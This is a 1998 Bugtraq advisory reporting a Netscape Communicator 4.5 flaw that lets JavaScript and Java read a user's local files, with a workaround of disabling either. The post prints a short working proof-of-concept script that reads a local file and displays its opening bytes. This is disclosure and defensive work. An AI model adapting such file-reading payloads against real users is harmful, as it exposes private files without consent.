Bugtraq mailing list archives
Netscape Communicator 4.5 can read local files
From: guninski () HOTMAIL COM (Georgi Guninski)
Date: Mon, 23 Nov 1998 10:36:40 PST
There is a bug in Netscape Communicator 4.5 for Windows 95 and 4.05 for WinNT 4.0 (probably others) which allows reading files from the user's computer. It is not necessary the file name to be known, because directories may be browsed. The contents of the file may be sent to an arbitrary host. In order this to work, you need both Java and Javascript enabled. The bug may be exploited by email message. Demonstration is available at: http://www.geocities.com/ResearchTriangle/1711/b6.html Workaround: Disable Javascript or Java. The Javascript code is: sl=window.open("wysiwyg://1/file:///C|/"); sl2=sl.window.open(); sl2.location="javascript:s='<SCRIPT>b=\"Here is the beginning of your file: \";var f = new java.io.File(\"C:\\\\\\\\test.txt\");var fis = new java.io.FileInputStream(f); i=0; while ( ((a=fis.read()) != -1) && (i<100) ) { b += String.fromCharCode(a);i++;}alert(b);</'+'SCRIPT>'"; Regards, Georgi Guninski http://www.geocities.com/ResearchTriangle/1711 ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com
Current thread:
- Netscape Communicator 4.5 can read local files Georgi Guninski (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Trev (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Norbert Luckhardt (Nov 26)
- <Possible follow-ups>
- Re: Netscape Communicator 4.5 can read local files GNSS Research Division (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Bill Lavalette (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Andrew McNaughton (Nov 24)
- Re: Netscape Communicator 4.5 can read local files The Spirit of the Black Panther (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Ryan Russell (Nov 24)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
- APC PowerNet SNMP Adapter Security Issues - Beta Firmware Paul Mansfield (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Pavel Kankovsky (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
(Thread continues...)